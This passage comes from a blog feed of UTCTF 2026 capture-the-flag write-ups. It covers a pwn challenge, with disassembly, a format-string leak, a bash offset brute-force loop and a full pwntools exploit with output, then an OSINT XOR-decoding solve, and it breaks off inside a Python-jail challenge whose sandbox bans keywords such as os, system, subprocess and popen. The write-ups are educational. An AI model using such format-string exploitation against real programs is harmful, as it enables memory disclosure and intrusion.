                  lea     rax, aEnterTheSecret ; "Enter the secret code: "
                  mov     rdi, rax        ; format
                  mov     eax, 0
                  call    _printf
                  lea     rax, [rbp+var_54]
                  mov     rsi, rax
                  lea     rax, aU         ; "%u"
                  mov     rdi, rax
                  mov     eax, 0
                  call    ___isoc99_scanf
                  mov     edx, [rbp+var_54]
                  mov     eax, [rbp+var_4]
                  cmp     edx, eax
                  jnz     short loc_13A8
                  mov     eax, 0
                  call    print_flag
                  jmp     short loc_13B7
  ; ---------------------------------------------------------------------------

  loc_13A8:                               ; CODE XREF: main+CF↑j
                  lea     rax, aWrongNiceTry ; "Wrong! Nice try."
                  mov     rdi, rax        ; s
                  call    _puts

  loc_13B7:                               ; CODE XREF: main+DB↑j
                  mov     eax, 0
                  leave
                  retn
  ; } // starts at 12CB
  main            endp
</code></pre>

    <ul>
      <li>Based on the assembly, the program performs these steps at runtime:
        <ul>
          <li>Configure stdio buffering in <code class="language-plaintext highlighter-rouge">setup()</code>.</li>
          <li>Initialize stack local variable to <code class="language-plaintext highlighter-rouge">0xDEADBEEF</code>.</li>
          <li>Prompt for name.</li>
          <li>Read name with <code class="language-plaintext highlighter-rouge">fgets</code> into stack buffer.</li>
          <li>Strip newline using <code class="language-plaintext highlighter-rouge">strcspn</code>.</li>
          <li>Print greeting via <code class="language-plaintext highlighter-rouge">printf("Hello, ")</code> then **<code class="language-plaintext highlighter-rouge">printf(name)</code></li>
          <li>Prompt for secret code.</li>
          <li>Read unsigned integer using <code class="language-plaintext highlighter-rouge">scanf("%u", &amp;user_code)</code>.</li>
          <li>Compare <code class="language-plaintext highlighter-rouge">user_code</code> with local secret (<code class="language-plaintext highlighter-rouge">0xDEADBEEF</code>).</li>
          <li>If equal, call <code class="language-plaintext highlighter-rouge">print_flag()</code>, else print failure message.</li>
        </ul>
      </li>
      <li>Key details from the assembly:
        <ul>
          <li><code class="language-plaintext highlighter-rouge">mov DWORD PTR [rbp-0x4],0xdeadbeef</code> stores the expected secret on the stack.</li>
          <li>The name buffer is at <code class="language-plaintext highlighter-rouge">[rbp-0x50]</code> and is read with <code class="language-plaintext highlighter-rouge">fgets(..., 0x40, stdin)</code>.</li>
          <li>The newline is removed using <code class="language-plaintext highlighter-rouge">strcspn</code> and a null terminator is written.</li>
          <li><code class="language-plaintext highlighter-rouge">printf(name)</code> introduces an <strong>uncontrolled format-string vulnerability</strong>.</li>
          <li>The user-supplied secret is read at <code class="language-plaintext highlighter-rouge">[rbp-0x54]</code> via <code class="language-plaintext highlighter-rouge">scanf("%u", ...)</code>.</li>
          <li>Control flow:
            <ul>
              <li>if equal → <code class="language-plaintext highlighter-rouge">call print_flag</code></li>
              <li>else → <code class="language-plaintext highlighter-rouge">puts("Wrong! Nice try.")</code></li>
            </ul>
          </li>
        </ul>
      </li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">setup()</code>: This function will calls <code class="language-plaintext highlighter-rouge">setvbuf(stdout, NULL, _IONBF, 0)</code> and same for <code class="language-plaintext highlighter-rouge">stdin</code> in order to deterministic I/O behavior for interactive challenge.
    <pre><code class="language-asm">; __int64 __fastcall setup(_QWORD, _QWORD, _QWORD)
              public setup
setup           proc near               ; CODE XREF: main+11↓p
; __unwind {
              endbr64
              push    rbp
              mov     rbp, rsp
              mov     rax, cs:stdout@GLIBC_2_2_5
              mov     ecx, 0          ; n
              mov     edx, 2          ; modes
              mov     esi, 0          ; buf
              mov     rdi, rax        ; stream
              call    _setvbuf
              mov     rax, cs:stdin@GLIBC_2_2_5
              mov     ecx, 0          ; n
              mov     edx, 2          ; modes
              mov     esi, 0          ; buf
              mov     rdi, rax        ; stream
              call    _setvbuf
              nop
              pop     rbp
              retn
; } // starts at 1209
setup           endp
</code></pre>
  </li>
  <li><code class="language-plaintext highlighter-rouge">print_flag()</code>: This function stores obfuscated bytes on stack. Then it try loops index <code class="language-plaintext highlighter-rouge">i = 0..0x1b</code> (28 bytes). For each byte: <code class="language-plaintext highlighter-rouge">decoded = encoded_byte ^ 0x42</code>, then <code class="language-plaintext highlighter-rouge">putchar(decoded)</code>. Finally, it prints newline. This is the disassembly source code and pseudocode of this function:
```asm
; __int64 print_flag(void)
              public print_flag
print_flag      proc near               ; CODE XREF: main+D6↓p</li>
</ul>

<p>var_20          = qword ptr -20h
var_18          = qword ptr -18h
var_C           = qword ptr -0Ch
var_4           = dword ptr -4</p>

<p>; __unwind {
                endbr64
                push    rbp
                mov     rbp, rsp
                sub     rsp, 20h
                mov     rax, 243925232E243637h
                mov     rdx, 36311D36762F3072h
                mov     [rbp+var_20], rax
                mov     [rbp+var_18], rdx
                mov     rax, 252C733036311D36h
                mov     rdx, 3F26712976712E1Dh
                mov     [rbp+var_18+4], rax
                mov     [rbp+var_C], rdx
                mov     [rbp+var_4], 0
                jmp     short loc_12B8
; —————————————————————————</p>

<p>loc_129D:                               ; CODE XREF: print_flag+6C↓j
                mov     eax, [rbp+var_4]
                cdqe
                movzx   eax, byte ptr [rbp+rax+var_20]
                xor     eax, 42h
                movzx   eax, al
                mov     edi, eax        ; c
                call    _putchar
                add     [rbp+var_4], 1</p>

<p>loc_12B8:                               ; CODE XREF: print_flag+4B↑j
                cmp     [rbp+var_4], 1Bh
                jle     short loc_129D
                mov     edi, 0Ah        ; c
                call    _putchar
                nop
                leave
                retn
; } // starts at 1250
print_flag      endp</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
```c
int print_flag() {
    _DWORD v1[7]; // [rsp+0h] [rbp-20h] BYREF
    int i; // [rsp+1Ch] [rbp-4h]

    qmemcpy(v1, "76$.#%9$r0/v", 12);
    *(_QWORD *)&amp;v1[3] = 0x252C733036311D36LL;
    *(_QWORD *)&amp;v1[5] = 0x3F26712976712E1DLL;
    for ( i = 0; i &lt;= 27; ++i )
        putchar(*((_BYTE *)v1 + i) ^ 0x42);
    return putchar(10);
}
</code></pre></div></div>

<h2 id="exploitation-process">Exploitation Process</h2>

<h3 id="attempt-1-memory-corruption-route">Attempt 1: Memory corruption route</h3>
<p>First we try some classical strategies. However this is not the correct path and here is the reason:</p>
<ul>
  <li>stack overflow via name buffer? <strong>No</strong>: <code class="language-plaintext highlighter-rouge">fgets(name, 0x40, ...)</code> for a 64-byte destination is bounded.</li>
  <li>GOT overwrite? <strong>No</strong>: Full RELRO.</li>
  <li>shellcode injection? <strong>No</strong>: NX.</li>
  <li>ret2win by direct RIP overwrite? <strong>No primitive</strong> because no overflow.</li>
</ul>

<h3 id="attempt-2-logic-bypass">Attempt 2: Logic bypass</h3>
<p>Looking into the disassembly, we can see some special things of this binary:</p>
<ul>
  <li>local secret = <code class="language-plaintext highlighter-rouge">0xDEADBEEF</code></li>
  <li>compared against <code class="language-plaintext highlighter-rouge">%u</code> input</li>
</ul>

<p>Trying to convert the local secret into decimal:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xDEADBEEF = 3735928559
</code></pre></div></div>

<p>So, since we will give the flag if our secret matched with the local secret of this binary, the input is <code class="language-plaintext highlighter-rouge">3735928559</code> will directly triggers <code class="language-plaintext highlighter-rouge">print_flag</code> and prints the flag:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./vuln
What is your name? aaa
Hello, aaa!
Enter the secret code: 3735928559
utflag<span class="o">{</span>f0rm4t_str1ng_l34k3d<span class="o">}</span>
</code></pre></div></div>

<h3 id="attempt-3-format-string-based-leak">Attempt 3: Format-string based leak</h3>
<p>Based on the analysis, this binary has a format-string vulnerability at <code class="language-plaintext highlighter-rouge">printf(name)</code>. The exploitation path is:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">printf(name)</code> allows reading stack values.</li>
  <li>We brute-forced positional <code class="language-plaintext highlighter-rouge">%i$p</code> (using <code class="language-plaintext highlighter-rouge">%%%d\$p</code>) and discovered that <code class="language-plaintext highlighter-rouge">offset=17</code> leaks a word containing <code class="language-plaintext highlighter-rouge">deadbeef</code> in the low 32 bits.
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">for </span>i <span class="k">in</span> <span class="si">$(</span><span class="nb">seq </span>1 80<span class="si">)</span><span class="p">;</span> <span class="k">do
  </span><span class="nv">out</span><span class="o">=</span><span class="si">$(</span> <span class="o">(</span><span class="nb">printf</span> <span class="s2">"%%%d</span><span class="se">\$</span><span class="s2">p</span><span class="se">\n</span><span class="s2">0</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$i</span><span class="s2">"</span><span class="p">;</span> <span class="o">)</span> | ./vuln 2&gt;/dev/null <span class="si">)</span>
  <span class="k">if </span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$out</span><span class="s2">"</span> | <span class="nb">grep</span> <span class="nt">-qi</span> deadbeef<span class="p">;</span> <span class="k">then
      </span><span class="nb">echo</span> <span class="s2">"offset=</span><span class="nv">$i</span><span class="s2">"</span>
      <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$out</span><span class="s2">"</span>
      <span class="nb">break
  </span><span class="k">fi
  done</span>
</code></pre></div>    </div>

    <p>Output:</p>
    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  offset=17
  What is your name? Hello, 0xdeadbeef64181cd0!
  Enter the secret code: Wrong! Nice try.
</code></pre></div>    </div>
  </li>
  <li>This enables scriptable extraction of secret instead of hardcoding.</li>
</ul>

<p>This is the exploit code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">re</span>

<span class="c1"># -----------------------------------------------------------------------------
# Configuration
# -----------------------------------------------------------------------------
</span><span class="n">BINARY_PATH</span> <span class="o">=</span> <span class="s">"./vuln"</span>
<span class="n">LEAK_OFFSET</span> <span class="o">=</span> <span class="mi">17</span>  <span class="c1"># discovered by brute force: %17$p leaks stack word with deadbeef in low dword
</span>
<span class="c1"># Use local process (no remote for this challenge)
</span><span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">BINARY_PATH</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"info"</span>

<span class="c1"># -----------------------------------------------------------------------------
# Helper: parse leaked pointer-like token and recover lower 32-bit secret
# -----------------------------------------------------------------------------
</span><span class="k">def</span> <span class="nf">parse_secret_from_line</span><span class="p">(</span><span class="n">line</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="s">"""
    Extract first 0x... token from greeting line and return low 32 bits.
    Example token: 0xdeadbeef64181cd0 -&gt; low32 could vary by layout,
    but for this challenge observed word contains deadbeef in lower dword for offset 17.
    """</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">rb</span><span class="s">"0x[0-9a-fA-F]+"</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">m</span><span class="p">:</span>
        <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"No hex token leaked from format string"</span><span class="p">)</span>

    <span class="n">leaked_value</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
    <span class="n">low</span> <span class="o">=</span> <span class="n">leaked_value</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
    <span class="n">high</span> <span class="o">=</span> <span class="p">(</span><span class="n">leaked_value</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>

    <span class="k">if</span> <span class="n">low</span> <span class="o">==</span> <span class="mh">0xDEADBEEF</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">low</span>
    <span class="k">if</span> <span class="n">high</span> <span class="o">==</span> <span class="mh">0xDEADBEEF</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">high</span>

    <span class="k">return</span> <span class="n">low</span>

<span class="c1"># -----------------------------------------------------------------------------
# Main exploit routine
# -----------------------------------------------------------------------------
</span><span class="k">def</span> <span class="nf">exploit_local</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">io</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">BINARY_PATH</span><span class="p">)</span>

    <span class="c1"># Step 1: trigger format-string leak from name prompt
</span>    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"What is your name? "</span><span class="p">,</span> <span class="sa">f</span><span class="s">"%</span><span class="si">{</span><span class="n">LEAK_OFFSET</span><span class="si">}</span><span class="s">$p"</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>

    <span class="c1"># Step 2: capture greeting line containing the leaked pointer
</span>    <span class="c1"># Program prints: "Hello, &lt;expanded_format&gt;!"
</span>    <span class="n">hello_line</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline_contains</span><span class="p">(</span><span class="sa">b</span><span class="s">"Hello, "</span><span class="p">)</span>
    <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s">"Greeting line: </span><span class="si">{</span><span class="n">hello_line</span><span class="si">!r}</span><span class="s">"</span><span class="p">)</span>

    <span class="c1"># Step 3: recover candidate secret from leaked word
</span>    <span class="n">secret</span> <span class="o">=</span> <span class="n">parse_secret_from_line</span><span class="p">(</span><span class="n">hello_line</span><span class="p">)</span>
    <span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"Recovered secret candidate (uint32): </span><span class="si">{</span><span class="n">secret</span><span class="si">}</span><span class="s"> (0x</span><span class="si">{</span><span class="n">secret</span><span class="si">:</span><span class="mi">08</span><span class="n">x</span><span class="si">}</span><span class="s">)"</span><span class="p">)</span>

    <span class="c1"># Step 4: send the secret as decimal for scanf("%u", ...)
</span>    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"Enter the secret code: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">secret</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>

    <span class="c1"># Step 5: read final output and extract flag
</span>    <span class="n">final_output</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvall</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"ignore"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">final_output</span><span class="p">)</span>

    <span class="c1"># Best-effort return first utflag-like token if present
</span>    <span class="n">flag_match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">"utflag\{[^}]+\}"</span><span class="p">,</span> <span class="n">final_output</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">flag_match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="k">if</span> <span class="n">flag_match</span> <span class="k">else</span> <span class="s">"FLAG_NOT_FOUND"</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">flag</span> <span class="o">=</span> <span class="n">exploit_local</span><span class="p">()</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Flag: </span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<p>Try to run this code and we will get the same flag as Attempt 2.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span> /home/kali/Desktop/wargame/.venv/bin/python exploit.py
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/kali/Desktop/wargame/joy/vuln'</span>
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
<span class="o">[</span>+] Starting <span class="nb">local </span>process <span class="s1">'./vuln'</span>: pid 29154
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Greeting line: b<span class="s1">'Hello, 0xdeadbeeffa8f0cd0!'</span>
<span class="o">[</span>+] Recovered secret candidate <span class="o">(</span>uint32<span class="o">)</span>: 3735928559 <span class="o">(</span>0xdeadbeef<span class="o">)</span>
<span class="o">[</span>+] Receiving all data: Done <span class="o">(</span>29B<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Process <span class="s1">'./vuln'</span> stopped with <span class="nb">exit </span>code 0 <span class="o">(</span>pid 29154<span class="o">)</span>
utflag<span class="o">{</span>f0rm4t_str1ng_l34k3d<span class="o">}</span>

<span class="o">[</span>+] Flag: utflag<span class="o">{</span>f0rm4t_str1ng_l34k3d<span class="o">}</span>
</code></pre></div></div>

<h2 id="technical-summary">Technical Summary</h2>
<h3 id="vulnerability-classification">Vulnerability classification</h3>

<ol>
  <li><strong>CWE-134: Uncontrolled Format String</strong>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">printf(name)</code> where <code class="language-plaintext highlighter-rouge">name</code> is attacker-controlled.</li>
    </ul>
  </li>
  <li><strong>Insecure Hardcoded Secret / Logic flaw</strong>
    <ul>
      <li>Secret code fixed as <code class="language-plaintext highlighter-rouge">0xDEADBEEF</code> and directly comparable.</li>
    </ul>
  </li>
  <li><strong>Weak obfuscation only</strong>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">print_flag</code> uses trivial XOR-by-constant.</li>
    </ul>
  </li>
</ol>

<h3 id="techniques-used">Techniques used</h3>
<ul>
  <li>Static reversing via disassembly and symbol analysis.</li>
  <li>Dynamic validation in runtime/GDB.</li>
  <li>Format-string probing and positional offset brute-force.</li>
  <li>Exploit automation concept with pwntools.</li>
</ul>

<h2 id="challenge-source-code">Challenge Source Code</h2>

<p>Challenge’s Github Repository: <a href="https://github.com/UITxWoodyNguyen/CTF/tree/main/UTCTF-2026/pwn/hour-of-joy">hour_of_joy</a></p>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Tournament" /><category term="UTCTF" /><category term="pwn" /><summary type="html"><![CDATA[No Description]]></summary></entry><entry><title type="html">Insanity Check - UTCTF 2026 write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/17/insanity_check/" rel="alternate" type="text/html" title="Insanity Check - UTCTF 2026 write up" /><published>2026-03-17T00:00:00+00:00</published><updated>2026-03-17T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/17/insanity_check</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/17/insanity_check/"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>After a gap year, the sequel to “Insanity Check: Redux” and “Insanity Check: Reimagined” is finally here!</p>

<p>The flag is in CTFd, but, as always, you’ll have to work for it.</p>

<p>(This challenge does not require any brute-force – as per the rules of the competition, brute-force tools like dirbuster are not allowed, there is a clear solution path without it if you know where to look.)</p>

<h2 id="osint-path">Osint Path</h2>
<p>The challenge description tells us that the flag is in CTFd. Because this contest platform uses CTFd, we predicted the flag might be located somewhere on the contest site.</p>

<p>Inspecting the contest site, when we accessed <code class="language-plaintext highlighter-rouge">https://utctf.live/robots.txt</code> we found two hidden <code class="language-plaintext highlighter-rouge">.html</code> files: <code class="language-plaintext highlighter-rouge">/2065467898.html</code> and <code class="language-plaintext highlighter-rouge">/3037802467.html</code>:</p>

<p><img src="https://www.notion.so/image/attachment%3A0a1b2a66-de5d-46de-a557-b811cf1ac0c8%3Aimage.png?table=block&amp;id=3261b638-5371-8095-a2cf-d9bd033f7aeb&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=880&amp;userId=&amp;cache=v2" alt="robot" /></p>

<p>Both files returned 404 Not Found when opened:</p>

<p><img src="https://www.notion.so/image/attachment%3A8e897dbe-e154-43b2-aeb7-888ccd3d2918%3Aimage.png?table=block&amp;id=3261b638-5371-80f4-80ec-cf0ff223ef81&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1410&amp;userId=&amp;cache=v2" alt="404_1" /></p>

<p><img src="https://www.notion.so/image/attachment%3A9f1c0362-b2a6-4591-92bd-d9ae269136c1%3Aimage.png?table=block&amp;id=3261b638-5371-80b0-b8a3-dd49b5a00bf0&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1410&amp;userId=&amp;cache=v2" alt="404_2" /></p>

<p>However, viewing the source of the two hidden files, we found a suspicious array of numbers:</p>

<p><img src="https://www.notion.so/image/attachment%3A2a30cf08-73fb-49f0-baf5-f5a551d79f4d%3Aimage.png?table=block&amp;id=3261b638-5371-80f6-b83f-f6a5619b85d2&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1410&amp;userId=&amp;cache=v2" alt="string" /></p>

<p>This looks like XOR-encrypted data, so we wrote a script to decode it:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cipher</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">39</span><span class="p">,</span> <span class="mi">85</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">93</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">104</span><span class="p">,</span> <span class="mi">27</span><span class="p">,</span> <span class="mi">44</span><span class="p">,</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">89</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">107</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">54</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">92</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">31</span><span class="p">]</span> 
<span class="n">key</span> <span class="o">=</span> <span class="p">[</span><span class="mi">119</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">107</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">54</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">113</span><span class="p">,</span> <span class="mi">48</span><span class="p">,</span> <span class="mi">52</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">108</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">98</span><span class="p">]</span>

<span class="n">flag</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="nb">chr</span><span class="p">(</span><span class="n">c</span> <span class="o">^</span> <span class="n">k</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span><span class="p">,</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">cipher</span><span class="p">,</span> <span class="n">key</span><span class="p">)])</span> 
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Flag: </span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<p>Run result:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 solve.py
Flag: utflag<span class="o">{</span>I<span class="s1">'m_not_a_robot_I_promise}
</span></code></pre></div></div>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Tournament" /><category term="UTCTF" /><category term="OSINT" /><summary type="html"><![CDATA[No Description]]></summary></entry><entry><title type="html">Jail break - UTCTF 2026 write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/17/jail_break/" rel="alternate" type="text/html" title="Jail break - UTCTF 2026 write up" /><published>2026-03-17T00:00:00+00:00</published><updated>2026-03-17T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/17/jail_break</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/17/jail_break/"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>We’ve built the world’s most secure Python sandbox. Nothing can escape. Probably. Hopefully. Run it locally:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 jail.py 
</code></pre></div></div>

<h2 id="analyzing-path">Analyzing Path</h2>
<p>The challenge gives us a Python source file; first, try to open it:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">sys</span>

<span class="n">_ENC</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x2e</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1d</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x2e</span><span class="p">,</span> <span class="mh">0x1d</span><span class="p">,</span> <span class="mh">0x71</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x76</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x71</span><span class="p">,</span> <span class="mh">0x1d</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x76</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x71</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">]</span>
<span class="n">_KEY</span> <span class="o">=</span> <span class="mh">0x42</span>

<span class="k">def</span> <span class="nf">_secret</span><span class="p">():</span>
    <span class="k">return</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">b</span> <span class="o">^</span> <span class="n">_KEY</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">_ENC</span><span class="p">)</span>

<span class="n">BANNED</span> <span class="o">=</span> <span class="p">[</span>
    <span class="s">"import"</span><span class="p">,</span> <span class="s">"os"</span><span class="p">,</span> <span class="s">"sys"</span><span class="p">,</span> <span class="s">"system"</span><span class="p">,</span> <span class="s">"eval"</span><span class="p">,</span>
    <span class="s">"open"</span><span class="p">,</span> <span class="s">"read"</span><span class="p">,</span> <span class="s">"write"</span><span class="p">,</span> <span class="s">"subprocess"</span><span class="p">,</span> <span class="s">"pty"</span><span class="p">,</span>
    <span class="s">"popen"</span><span class="p">,</span> <span class="s">"secret"</span><span class="p">,</span> <span class="s">"_enc"</span><span class="p">,</span> <span class="s">"_key"</span>
<span class="p">]</span>

<span class="n">SAFE_BUILTINS</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"print"</span><span class="p">:</span> <span class="k">print</span><span class="p">,</span>
    <span class="s">"input"</span><span class="p">:</span> <span class="nb">input</span><span class="p">,</span>
    <span class="s">"len"</span><span class="p">:</span> <span class="nb">len</span><span class="p">,</span>
    <span class="s">"str"</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
    <span class="s">"int"</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span>
    <span class="s">"chr"</span><span class="p">:</span> <span class="nb">chr</span><span class="p">,</span>
    <span class="s">"ord"</span><span class="p">:</span> <span class="nb">ord</span><span class="p">,</span>
    <span class="s">"range"</span><span class="p">:</span> <span class="nb">range</span><span class="p">,</span>
    <span class="s">"type"</span><span class="p">:</span> <span class="nb">type</span><span class="p">,</span>
